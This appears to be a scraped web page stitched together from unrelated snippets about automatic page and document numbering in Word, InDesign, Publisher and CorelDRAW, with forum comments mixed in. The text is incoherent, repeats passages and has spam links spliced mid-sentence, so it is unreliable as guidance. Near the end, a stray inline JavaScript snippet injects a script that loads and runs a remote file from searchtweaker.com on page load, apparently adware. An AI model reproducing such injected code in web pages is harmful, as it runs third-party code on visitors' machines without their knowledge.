Page numbering is set within each document (see Book Design Made Simple, page 245). To set your page numbering to automatic, start by opening the document containing your front matter. Your front matter will have a separate page numbering system from the rest of your book, using lowercase roman numerals. Go to the Pages panel, click on the thumbnail image of the first page to highlight it, then click Numbering & Section Options in the Pages fly-out menu. Select Automatic Page Numbering at the top, and lowercase roman numerals in the Page Numbering Style drop-down menu, as shown below. Click OK, and all the pages in the document will now be numbered with lowercase roman numerals starting with number i.

You may want to start and stop numbering while you are creating your list. The numbering button acts as a toggle, which means it is used to turn on and off the numbering. All you have to do is click inside the paragraph where you want to turn numbering on or off and click the Numbering button.

InDesign allows you to add a page number marker to a master page within the document. The master page functions as a template for every page it’s applied to, so the consecutive page numbers appear on every page. InDesign updates the page number automatically as you insert, delete and move pages. To add a page number marker to a master page, create a text box on the master page by going to the Type menu and choosing “Insert Special Character,” “Markers” and then “Current Page Number.”

Note  Word does not convert typing to an automatic numbered list if the AutoFormat option is not activated. From the Tools menu, choose AutoCorrect. Select the AutoFormat As You Type tab, and check the option for Automatic numbered lists.

Incremental Increases. This feature will automatically increase the present document number by one from the previous document number. If you go to the DCNO field of your second document and press the appropriate key, the document number will automatically increase by 1.

If you’ve made even one numbered list, additional sections appear in the drop-down. At the top, the Recently Used Number Formats section shows the number style used. If you have only one document open, this section shows only the number style(s) used in that document.

The number is inserted in the content control and any associated leading and trailing texts are inserted in the bookmarks placed wither side of the content control; unless the update option is selected, when the number is replaced.

Let’s say you are working on a book with lots of images and/or chapters. And the file sizes are enormous. In fact, they are so big that you thought it would be smart to divide the book into separate documents for parts or chapters. That is exactly what we did with Book Design Made Simple. It was more convenient for us to swap smaller sections back and forth than to send the entire book each time. All the parts or chapters were linked together at the end using InDesign’s Book feature. So this blog post explains how to create a Book file, or as we call it, “book” a book.

Where “D” means Draft, and “F” means Final. And “V” tends to indicate “Version” to people so that even if they don’t know what the code means, they can guess it’s a version number. Bonus that D comes before F in the alphabet so it even saves all my drafts before my finals which is handy.

Make sure that the document contains a section break of some type. The section break type that you want is typically Next Page. Use the section break to separate the main document area from the appendix area. If there is not a section break there, move your insertion point to a blank area above your appendix, and then follow these steps:

Once you’re back in the Modify Style dialog box, don’t be in a hurry to click OK. First, uncheck the Automatically Update option (at the bottom right). You don’t want Word to automatically update any styles in your numbering scheme. Once you’ve unchecked this option (if necessary), click OK.

Assuming you know how to add page numbering using the macro, try to add that to a new, empty layer. Then hide that layer on the cover and back pages. I think the result will be what you’re looking for.

Word’s ribbon has buttons that can help you create lists instantly. Click the “Home” tab, highlight the paragraphs you’d like to number and click the Numbered icon to add a number before each paragraph. The Numbered icon looks like three lines numbered 1 to 3. After you add the numbers, you may discover a slight problem; by default, the line spacing between your paragraphs disappears. You must correct this if you want the paragraphs to look like they did before you converted them to a numbered list.

To add a new master page, click the “Add Master Page” button in the “Master Page” button group to open the “New Master Page” dialog box. In this dialog box, you can enter an identifier http://thedailyrant.net the master page into the “Page ID (1 character):” text box. Typically, master pages simply are identified in alphabetical order. You can then enter a description of the master page into the “Description:” text box. If you want to create a two-page master page, then check the “Two-page master” checkbox.

Remove all extra pages and page breaks by highlighting the blank spaces at the end of one page and the beginning of the next page and then pressing Delete. Blank pages are nearly impossible to remove after they’ve been imported to Publisher.

@TimK: No, I don’t think so. You could perhaps use Conditional Text and Smart Text Reflow to “turn on and off” each white paper, so that the length of the document would change on the fly, based on which condition was visible.

I have been known to have a “rainbow” document when changes muyltip[e changes are made at different points in time. I really need to remember to go back at the “signed-off” version and start over with all black.

You are able to set up Document Control Numbers and Version Control Numbers to meet your requirements for numbering schemes. Numbering schemes may be based on specific industry requirements and for compliance, such as for ISO compliance and other quality management systems.

Every time you save a document in Word, the information in the document properties is updated. Part of the information is a count of how many times the file has been saved. This is referred to as the revision number. You can insert the revision number in your documents and have it updated automatically, if you so desire. To insert the revision number in your document, follow these steps:

CK NOTE: Before attempting troubleshooting, read the article listed in the additional reading “Word’s Numbering Explained.” After you read that article, you may also want to look at the following links to some discussions on the Microsoft newsgroups on numbering.

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Page numbering is set within each document (see Book Design Made Simple, page 245). To set your page numbering to automatic, start by opening the document containing your front matter. Your front matter will have a separate page numbering system from the rest of your book, using lowercase roman numerals. Go to the Pages panel, click on the thumbnail image of the first page to highlight it, then click Numbering & Section Options in the Pages fly-out menu. Select Automatic Page Numbering at the top, and lowercase roman numerals in the Page Numbering Style drop-down menu, as shown below. Click OK, and all the pages in the document will now be numbered with lowercase roman numerals starting with number i.

Edit: It is fairly easy to write a macro to refresh links to pages, but links to bookmarks seem to be poorly supported by the object model, unless I’ve overlooked something. My solution consists of two parts.

Click Customize. Level 1 should be selected. If not, select level 1 from the Level area. Figure 4 shows the Customize Outline Numbered List that is used to change number formatting, such as indents, tabs, and numbering styles.

Highlight any text that you want to appear in a different style and then click the Styles icon under the Home tab. Note that styles you created in the original Word document are also imported to Publisher.

Decide whether you want the first or last occurrence of the style that’s applied on the page. First On Page is the first paragraph (or character) that begins on a page. If there is no occurrence of the style on the page, the previous occurrence of the applied style is used. If there is no previous occurrence in the document, the variable is empty.

When you click a number used in a list, the numbers for all paragraphs in that list are highlighted. But don’t panic: Removing a number from the Numbering Library doesn’t remove it from the lists in your document(s).

If possible, open a new document to create your numbered style. Working with an existing document and all its in-use styles can be troublesome. It can be done, but changing styles that are already in use almost always has far-reaching repercussions. Admittedly, this advice isn’t always practical, but it’s the best way to start if you can.

For example, as on the picture i have attached, I would like to write Sequences of increasing Numbers from 301 to 328 in a row, only on one page. I Don’t want to Number Pages. I am not refering to “Print Merge”.

Comprehensive VBA Guide Visual Basic for Applications (VBA) is the language used for writing macros in all Office programs. This complete guide shows both professionals and novices how to master VBA in order to customize the entire Office suite for their needs. Check out Mastering VBA for Office 2010 today!

To set numbering and section options, either right-click a page in the pages panel or click the page thumbnail and go to the panel menu button. Choose “Numbering and Section Options.” The dialog allows you to:

Select if you want the page numbers of the current section to follow the numbering of the previous section. Using this option, the page numbers in the document or section update automatically when you add pages prior to it.

I notice that documents are the place people go to find answers, but not all people. My customer would just ask me the question instead of looking it up. I’m much more intimate with the document, so I can find the information much easier than they can. The question I get more than, “What does the system do?” is “Why does the system do that?”.

Remove all extra pages and page breaks by highlighting the blank spaces at the end of one page and the beginning of the next page and then pressing Delete. Blank pages are nearly impossible to remove after they’ve been imported to Publisher.

WordTips is your source for cost-effective Microsoft Word training. (Microsoft Word is the most popular word processing software in the world.) This tip (1492) applies to Microsoft Word 97, 2000, 2002, and 2003. You can find a version of this tip for the ribbon interface of Word (Word 2007 and later) here: Sequentially Numbered Labels.

You can click the “Apply To” drop-down button to apply the currently selected master page to pages within your publication. From the drop-down you can select the “Apply to All Pages” command to apply the selected master page to all the publication pages. You can select “Apply to Current Page” to apply the master page to the currently selected publication page. You could also select the “Apply Master Page…” command to open the “Apply Master Page” dialog box. In this dialog box, you have the option to apply the currently selected master page to all, the current page, or a page range within the publication. If you select the “Pages” option, enter the page range into the adjacent text boxes. Then click the “OK” button to finish.

One solution is to format the heading with the style and follow it with a hidden paragraph mark. You should format the text in the next paragraph with a style that is not included in the Table of Contents. A hidden paragraph mark keeps the text together on one line when it is printed, even though it is actually two separate paragraphs. The Table of Contents command picks up only those paragraphs with heading styles and places them into the Table of Contents.

InDesign has a handy ability to input those page numbers so that, even if you move pages around, those “continued on…” and “continued from…” frames will always be correct without you having to find and retype them manually.

They can be automatically generated by the document management. Automatic generation uses consecutive numeric values starting from a given initial value and a given number of digits. The automatically generated value is not shown before document is added which helps to ensure document number uniqueness. If the document management system provided a number in advance then there is a chance the user would not use the number or forget about it and then you would need to manage unused and canceled numbers. The document number will not be changed when a document is checked out or in. The number is generated when the document is added and remains constant throughout the life of the document.

As has already been mentioned, the method for organizing and “naming” or “numbering” documents is really up to your organization. There is no requirement for the method to be applied. So, let me ask you this. WHY does it matter if there is a need for a file between 034 and 035? What’s the impact to the organization? What’s the risk this happens? From my perspective the answers are “none” and “none”. Why? Because the numbering is not what’s important. The real value is the document itself.

Even though it looks like I clicked on the numbering button at the top, I did not. I applied the list number style. That style has different indents and a different font. Those are the settings in the List Number Style.

Also, MS Word does not like when you have too many authors on a document. I have experienced corrupted documents (in Word 2003) in the past when there are too many versions, so the solution is not perfect.

As there is a uniqueness check – the holes are allowed in the document numbering system and all document number that were assigned are accounted and accessible (with permissions) to the concerned document control teams and their clients.

Click the text box on the last page. If you see an Overflow Indicator with three dots, there is additional text that isn’t yet visible in the document. Right-click the page thumbnail and select Insert Page. Click the Text Box icon under the Insert tab and drag it over the new page. Click the Overflow Indicator on the previous page and then click inside the text box in the new page.

Go back to the same shortcut menu and this time select Format Page Numbers… In the resulting dialog select the option Start this section with:  and enter 1 as your page number. Click OK to confirm and you are done.

Did the cited author ever respond to permit re-post?  I would find this knowledge quite helpful, but because my corporate firewall blocks blogging domains (yes, really) I cannot reach his site — only yours.

Document Numbering System – Normally in the EPC Projects, there are several agencies that work. These agencies may includes Vendors, Contractors and Owners. An agency as Vendor – works on several projects concurrently and may have his own document numbering methodologies in his organization. Same http://thedailyrant.net the case with the contractor. 

Use the Numbering & Section Options dialog box to change the page numbering style to use a different format. You can also use this dialog box to restart page numbering or to start page numbering at a number you specify.

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Instead of working harder than you need to, insert a one-column table with as many rows as necessary to accommodate your list. Then, using Word’s numbering feature, number that column. Finally, convert the table to text. The resulting list is a fixed numbered list, so you’ll have to live with its limitations; when you can do so, this method definitely beats most alternative solutions.

Print Templates Definition for Legal Documents Revision W7430021B On the Work With Print Templates Definition for Legal Documents form, click Add. Set up print template definitions for legal documents.

Word’s default number alignment is Left, which presents an awkward list if the numbers reach double digits. Fortunately, you can force proper alignment — if you know where to find the correct option.

Publisher doesn’t allow for automated sequencing, with the exception of the numbers that come on the tickets in the template. Each ticket must be hand-typed unless you choose to follow the template sequencing.

I’d like to add that I noticed our numbering system has been changed a few times in the past, due to lack of a good doc control process in place, and while it is a bit annoying, it doesn’t seem to have caused that many issues.

Help! Having a problem. I realize this is for CS5, which may be the issue. I’m working in CS6, and when I do this, it changes page 1 to a right-side page, completely affecting all of the spreads. I’ve tried to go into Document Setup to force it back, but it ends up making TWO right side pages for the first two pages! Perhaps a difference in versions, or maybe a bug?

It’s easy to create a bullet or numbered list, but not so easy to format just the number for one item in that list. What usually happens is you end up formatting the entire item, or the entire list. Fortunately, there’s a simple trick that works great: select the item’s end-of-paragraph marker and apply the format – not exactly intuitive is it?

Note  All of the controls in the dialog box are either blank or grayed out because by default, the font formatting of the number follows the font formatting of the text that comes after-unless you explicitly declare exceptions as in the next step.

Firstly I did the following as has been suggested by a number of users a) Put your cursor on the heading just right of the black box b) Use the left arrow key on your keyboard to move left until the black box turns grey c). Use the keyboard combination ctrl+shift+s, the dialog “Apply Styles” should appear d) In this box, click “reapply”

Word’s Numbering Explained by John McGhie, MVP – comprehensive and not pretty (Downloadable pdf file in letter size) – Reading this is vital to anyone attempting to use automatic numbering or bullets in a law office setting or other places where the documents are likely to be reused or heavily edited. See also How to Create a Template with a downloadable template with style-based numbering. I strongly recommend that you read both of these before doing anything with the contents of this chapter.

i don’t think it has anything to do with memory , i have a full drive laptop is new. my thoughts are that corel draw will not open a file that size, and you are right about  breaking it up i should have worked  in several sheets but saved them desperately.

2 – “mearly” would not be the word of my choice. Not to mention that I didn’t say that your scheme (a very good one acctualy) can be replaced with something like numbering the documents. Numbering the documents it’s a solution of choice for some organisation – a mearly basic one!

You can do that with workflows. Create a metadata column for the project (ideally using something like document sets so the ‘project level’ metadata is synchronised) and then a workflow that adds that project tag and the document ID number.

Note  If TAB and SHIFT+TAB do not work for changing the indents for outline numbering, you probably have the option Tabs and Backspace set left Indent turned off. To change this setting, from the Tools menu, choose Options. Select the Edit tab and check the option Tabs and backspace set left indent. As an alternative to turning this option on, you can instead use ALT+SHIFT+LEFT ARROW or RIGHT ARROW to increase or decrease outline numbering.

This is similar to what my company is doing now. A scheme like this can be complicated and confusing, especially at a company with high turn over in roles responsible for document control. I am looking for a different numbering scheme that is sustainable in the event that I ever leave the company. 

I have just had to install Windows 7 64 bit and now find that when I print to my HP Business Inkjet 2300, I can only print 1 page. If I set the quantity to 5, I still get just 1 page. HP won’t be updating the driver as they say that the printer is obsolete although they are still selling it.

Is there any way I can get PS to do this automatically for me,so I either specify the starting number,or it actually takes the file name (minus the extension,so no JPEG etc after it)and adds this text to the watermark layer while I put the kettle on?

You can change the default page number settings before or after you insert page numbers in your document. For example, you can start the page count at a specific number other than 1. This is particularly useful if you want to create multiple CorelDRAW files that will be put together as one publication.

Number Pro is an easy application that lets you create a data file that easily integrates with InDesign, Corel Draw, Microsoft  Word, and Publisher. Raffle ticket numbering, multi-part forms, documents etc., using the data merge or mail merge aspects of these various software applications. Number with ease and print on your home or office printer.

There you have it, how to easily number pages in an InDesign document. Once you learn this feature you will love it. Auto numbering takes the stress out of proof reading and editing documents later and will leave you with more time for the things you do best… creating!

Once you have finished customizing the master pages, you can then click the “Close Master Page” button in the “Close” button group on the “Master Page” tab in the Ribbon to close the master page view.

Thanks for your answer, but an hyperlink is not exactly what I wanted. I would like to insert a phrase like “see page 22 for an example” where the ’22’ is dynamically updated when the document changes. For example, if the example is moved to page 24, the phrase should update and read “see page 24 for an example”. – Alberto May 17 ’16 at 9:08

This is was never an issue in InDesign CS1 and i have only recently upgraded to CS4. I know it’s something obvious and probably dumb on my part but my wheels have been spinning on this conumdrum for document numbering in coreldraw so if you have some wisdom to help me correct this i would be very grateful.

The trouble with “track changes” is that it shows each and every change you have made verbatim, and sometimes that can impair readability. Sure, you can improve readability by accepting an addition or a deletion here and there, but that somehow feels like you are subverting the tool, trying to trick your audience.

Thanks Javad. That sounds like a very interesting document! So, one part has the binding on the left like normal, and one part has the binding on the right, is this correct? It is possible to re-start the numbering of the page numbers, however the binding swapping might be a more interesting challenge. I would take the easy way out and just create two separate documents, then combine them afterwards!

“sequential numbering of documents in word +create sequential number labels in word”

The only warnings that InDesign gives you that some of the text in the selected text frame uses a different font are: the Font field in the Character panel is blank, and the Font submenu (under the Type menu) has hyphens next to each font.

In the example I explained, I was using a list, but did it with un-linked text boxes using “continue from previous number” and “continue numbers across stories.” I’m guessing that there is no way to tell InDesign that even though there are 4 text boxes on the page, that there are two different lists? I’d probably have to just create two threaded stories for that scenario to work.

If you’re changing the numbering options for any page other than the first page of the document, make sure that Start Section is selected. This option marks the selected page as the beginning of a new section.

Anyway, I used to have a code at the beginning of each case which restarted page 1. As long as that code preceded the footer code on the page, the page numbers would be correct. That code does not seem to have survived the conversion from 5.1 and I’d like to know if there’s another way I could get that installed in my templates. It’s kind of nice to see the footer material on my page so it jogs my memory to manually change the number on the first page of each case, but I’d rather it happened automatically every time I bring in a new template.

the two most common ways I see it is either clause based, as Mark listed above, or process based such as PUR-01-03 for the 3rd work instruction for the 1st procedure for Purchasing. We use strictly names, no numbers

Error Message: I/O Read error The flash drive I am using to move files decided to give me this i/o read error on all or most of my corel files. My back up files too. I’ve done a recovery but files still…

We are experiencing an almost virus-like situation with some of our dwg files. Massive file sizes that grow exponentially – even with very few entities and no xrefernces. Said files also have issues with copy-to-clipboard and paste from one dwg file to the next: objects do not paste, but dozens of sequentailly named phantom blocks are generated.

            To delete the currently selected master page from your publication, click the “Delete” button in the “Master Page” button group. If you do this, Publisher will warn you that if the master page has been applied to any pages in your publication, the first master page will be applied in its place as a substitution. If this is fine, then click the “Yes” button to delete the selected master page.

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

You may wonder whether typing 1, 2, and 3 would be easier than using the ListNum field. Although doing that may be easier initially, the value of using the ListNum field becomes apparent when you cut and paste. When a paragraph contains multiple numbered items that you move or delete, Word automatically updates the ListNum fields. Using ListNum fields assures you of accurate numbering within a paragraph throughout the document.

What if I need to create 200 vouchers and each has a unique code not in any sort of numeric or alphabetical order. The codes are listed in excel under one column. Is there a way to link the text frame on a master page where the codes should be placed to the excel document to assign one code per voucher?

You can define a section prefix to label section pages automatically. For example, if you specify A– for Section Prefix on page 16 of a document and include the section prefix, the page will appear in the table of contents or index as A–16. Text you type for a section marker appears when you choose Type > Insert Special Character > Markers > Section Marker.

The official document number is used for documents such as invoices that are issued to end customers and also presented to the tax authorities. These official numbers are usually in a format defined explicitly by the respective governments or controlling authorities and can consist of numbers and letters.

Drag a horizontal and vertical guide onto the page. Set them both to 1p6 (18pt). To align them select the guide with the selection Tool (V) and type the number into the X and Y tab. This will ensure that the guides are set to the exact number.

I want to make 300 numbered tickets for an event. The number on one side must match the number on the stub end that is given to the ticket holder. What is the best way to set up a document to do this without having to manually enter 300 numbers?

If you’re producing any kind of numbered items in-house that are multiple-up on a sheet where you need to control all the variables to meet your production needs, the autonumbering feature through numbered lists is the way to http://sl-inworld.com Just step and repeat away & InDesign will do all the work. No need to fool with a seperate “numbers” file or deal with a data merged document. I think it’s by far the best option for basic numbering.

You’ll need to merge two documents: the Publisher document, or ticket, and an Excel workbook that contains the numbers you want to use to number those tickets. Please don’t let the term mail merge intimidate you. Merging a Publisher document to generate sequential numbers is easy.

One harkens back to the wonderful days of WordPerfect 6.0 — it introduced User Defined Variables! Increment and Decrement at will! Totally customizable page numbering, numbered lists, part and chapter numbers, headings, notes, references … the world was my spineless sea-dwelling calcified bivalve.

The changes that you add are displayed in orange coloured type across the bottom of the frame that fills the lower part of he userform as you make them, so you can see how the number is going to appear in the document before you enter it.

WordTemplatesBundle.com currently has 6 different templates available for free. Two of them are run-of-the-mill tickets that would be great for things like an office or classroom draw. The other four are the ones that are most helpful as they do automatic serial numbering.

However you arrange your documents they should be grouped (such as in folders) and not rely on numbering or their names solely to be located. The more documents you have, the more levels of groups you need.

I am on a project of making 12,500 tickets and so far, I’m at 500 out of 12,500 .. I was just wondering if Photoshop or other Adobe programs can Add Sequential Numbers on a particular area ON a picture,

There is also provision that is available in the Title Block where all the three numbers can be specified and hence, each of the agencies involved in the project can track the documents with respect to their own document numbers. The sole purpose of the document number is to uniquely identify the document and as long as this objective is fulfilled the said numbering system is considered as OK for the project. 

You can easily maintain the jump lines of stories that continue to other pages, such as a line that says “Continued on page 42.” Use a jump line page number to automatically update the number of the page containing a story’s next or previous threaded text frame when you move or reflow the story’s threaded text frames.

            To duplicate the selected master page, click the “Duplicate” button in the “Master Page” button group. Enter an ID and description for the duplicate into the “Duplicate Master Page” dialog box that appears. Then click the “OK” button to finish.

Outside service companies that copy or image your documents can customize document bar-coded numbers to meet your needs. – Some photocopiers now automatically place a number on your documents as they are being copied. If possible, attach a number along with a bar code. This will assist you later with automatic indexing, in-court presentation, or for pretrial retrieval purposes.